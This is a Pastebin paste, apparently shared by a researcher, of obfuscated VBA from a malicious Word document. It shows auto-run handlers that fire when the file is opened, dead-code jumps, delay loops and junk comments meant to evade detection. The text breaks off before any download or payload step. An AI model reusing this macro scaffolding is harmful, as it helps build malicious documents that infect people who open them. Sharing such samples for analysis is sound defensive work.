SHARE
TWEET

Malicious Word macro

dynamoo Nov 3rd, 2014 228 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attribute VB_Name = "ThisDocument"
  2. Attribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  10. Sub AUTO_OPEN()
  11. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  12.  
  13. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  14. GoTo QVSHTZXT
  15. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  16. Dim JLMQKVFC As String
  17. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  18. Open "QUAEHX.QTA" For Binary As 38
  19. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  20. Dim AJKLCIDP As Integer
  21. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  22. For AJKLCIDP = 0 To 2
  23. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  24. DoEvents
  25. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  26. Next AJKLCIDP
  27. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  28. Put #38, , JLMQKVFC
  29. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  30. Dim BZCJLOQH As Integer
  31. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  32. For BZCJLOQH = 0 To 8
  33. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  34. DoEvents
  35. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  36. Next BZCJLOQH
  37. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  38. Close #38
  39. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  40. Dim OHWNDVQS As Integer
  41. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  42. For OHWNDVQS = 0 To 2
  43. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  44. DoEvents
  45. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  46. Next OHWNDVQS
  47. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  48. QVSHTZXT:
  49. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  50.  
  51. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  52. Dim GOHWDKKL As Integer
  53. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  54. For GOHWDKKL = 0 To 7
  55. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  56. DoEvents
  57. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  58. Next GOHWDKKL
  59. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  60. OOQLSGUTKKV
  61. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  62. End Sub
  63. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  64. Sub AUTOOPEN()
  65. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  66.  
  67. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  68. GoTo HCCIQBVA
  69. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  70. Dim WLRZCLHL As String
  71. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  72. Open "NMLSTU.PSK" For Binary As 83
  73. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  74. Dim SYPZCMGK As Integer
  75. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  76. For SYPZCMGK = 0 To 1
  77. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  78. DoEvents
  79. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  80. Next SYPZCMGK
  81. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  82. Put #83, , WLRZCLHL
  83. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  84. Dim XWIQJOGD As Integer
  85. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  86. For XWIQJOGD = 0 To 1
  87. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  88. DoEvents
  89. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  90. Next XWIQJOGD
  91. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  92. Close #83
  93. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  94. Dim JBYCCFXV As Integer
  95. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  96. For JBYCCFXV = 0 To 6
  97. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  98. DoEvents
  99. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  100. Next JBYCCFXV
  101. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  102. HCCIQBVA:
  103. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  104.  
  105. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  106. Dim ZFASMZGV As Integer
  107. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  108. For ZFASMZGV = 0 To 8
  109. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  110. DoEvents
  111. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  112. Next ZFASMZGV
  113. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  114.    AUTO_OPEN
  115. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  116. End Sub
  117. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  118. Sub WORKBOOK_OPEN()
  119. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  120.  
  121. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  122. GoTo MNVAILEG
  123. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  124. Dim BWUXMGWU As String
  125. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  126. Open "GIUIRK.GYI" For Binary As 48
  127. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  128. Dim OLETLKKE As Integer
  129. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  130. For OLETLKKE = 0 To 2
  131. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  132. DoEvents
  133. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  134. Next OLETLKKE
  135. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  136. Put #48, , BWUXMGWU
  137. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  138. Dim URPTHLFP As Integer
  139. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  140. For URPTHLFP = 0 To 2
  141. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  142. DoEvents
  143. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  144. Next URPTHLFP
  145. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  146. Close #48
  147. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  148. Dim IROYYYFL As Integer
  149. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  150. For IROYYYFL = 0 To 4
  151. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  152. DoEvents
  153. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  154. Next IROYYYFL
  155. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  156. MNVAILEG:
  157. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  158.  
  159. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  160. Dim GDXIFVHV As Integer
  161. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  162. For GDXIFVHV = 0 To 5
  163. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  164. DoEvents
  165. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  166. Next GDXIFVHV
  167. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  168.    AUTO_OPEN
  169. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  170. End Sub
  171. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  172. Public Function XRKNTALMHT() As Integer
  173. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  174. Dim FNYXHBNYBQ As String
  175. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  176. Dim CMGLXSBDOY As String
  177. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  178. Dim COVFOOQLIQ As String
  179. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  180. Dim GDLUFBAJAM As Integer
  181. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  182. Dim JISGRZZKPX As Boolean
  183. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  184. Dim WBKPDWIJGI As Integer
  185. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  186. Dim JDXWIYVBIV As String
  187. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  188. Dim NWJYLTJYWK As String
  189. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  190. NWJYLTJYWK = Trim$("    NAKWFTETHF       ")
  191. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  192. Dim DCVARCBNLU As String
  193. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  194. DCVARCBNLU = Trim$("    HHPZYAXYUS       ")
  195. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  196. Dim PRLRBWCGJK As String
  197. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  198. PRLRBWCGJK = Trim$("    ABHQNMRTPW       ")
  199. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  200. Dim VLIPRDQXIC As Long
  201. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  202. Dim BULUVFJVRT As Long
  203. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  204. If 882256 <> 554378 Then
  205. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  206. VLIPRDQXIC = 882256 + 1989
  207. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  208. BULUVFJVRT = 554378 - 2013
  209. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  210. Else
  211. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  212. MsgBox (CStr(VLIPRDQXIC) & CStr(BULUVFJVRT))
  213. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  214. End If
  215. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  216. Dim KAFGREKTCN As Long
  217. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  218. Dim JVDSVZSLOI As Long
  219. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  220. If 589219 <> 252332 Then
  221. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  222. KAFGREKTCN = 589219 + 1989
  223. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  224. JVDSVZSLOI = 252332 - 2013
  225. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  226. Else
  227. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  228. MsgBox (CStr(KAFGREKTCN) & CStr(JVDSVZSLOI))
  229. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  230. End If
  231. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  232. Dim XYDC As Integer
  233. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  234. For XYDC = 1 To 13
  235. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  236. DoEvents
  237. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  238. Next XYDC
  239. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  240. Dim XTSX As Integer
  241. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  242. For XTSX = 5 To 92
  243. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  244. DoEvents
  245. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  246. Next XTSX
  247. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  248. Dim PKNR As Integer
  249. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  250. PKNR = 7
  251. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  252. Do While PKNR < 41
  253. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  254. DoEvents: PKNR = PKNR + 1
  255. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  256. Loop
  257. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  258. Dim YVWQ As Integer
  259. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  260. YVWQ = 5
  261. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  262. Do While YVWQ < 66
  263. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  264. DoEvents: YVWQ = YVWQ + 1
  265. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  266. Loop
  267. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  268. Dim AYVA As Integer
  269. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  270. AYVA = 5
  271. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  272. Do While AYVA < 75
  273. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  274. DoEvents: AYVA = AYVA + 1
  275. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  276. Loop
  277. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  278. Dim QTQAAPXVAC As Integer
  279. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  280. Dim EXRBOLJBTI As Integer
  281. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  282. QTQAAPXVAC = 274
  283. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  284. EXRBOLJBTI = 955
  285. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  286. QTQAAPXVAC = QTQAAPXVAC + EXRBOLJBTI
  287. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  288. XRKNTALMHT = QTQAAPXVAC
  289. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  290. End Function
  291. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  292. Function OUCVFIJEBVO(ByVal FOSLUHEEFAL As String, ByVal QQIHAVXECBT As String) As Boolean
  293. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  294.     Dim KZVJXBLKGJA As Object, ZMRALVESQYD As Long, DELMXINGWSM As Long, LDTQKJDSVUB() As Byte
  295. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  296.  
  297. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  298.  
  299. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  300. GoTo IKXPAENZ
  301. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  302. Dim FFRRGVLM As String
  303. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  304. Open "HZPWEG.NMO" For Binary As 56
